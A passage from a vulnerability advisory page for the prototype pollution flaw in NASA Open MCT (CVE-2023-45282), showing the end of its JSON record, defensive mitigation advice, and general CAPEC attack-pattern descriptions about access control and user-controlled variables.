"type": "WEB",
"url": "https://nasa.github.io/openmct"
},
{
"type": "WEB",
"url": "https://www.linkedin.com/pulse/prototype-pollution-nasas-open-mct-cve-2023-45282"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in NASA Open MCT"
}
Mitigation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.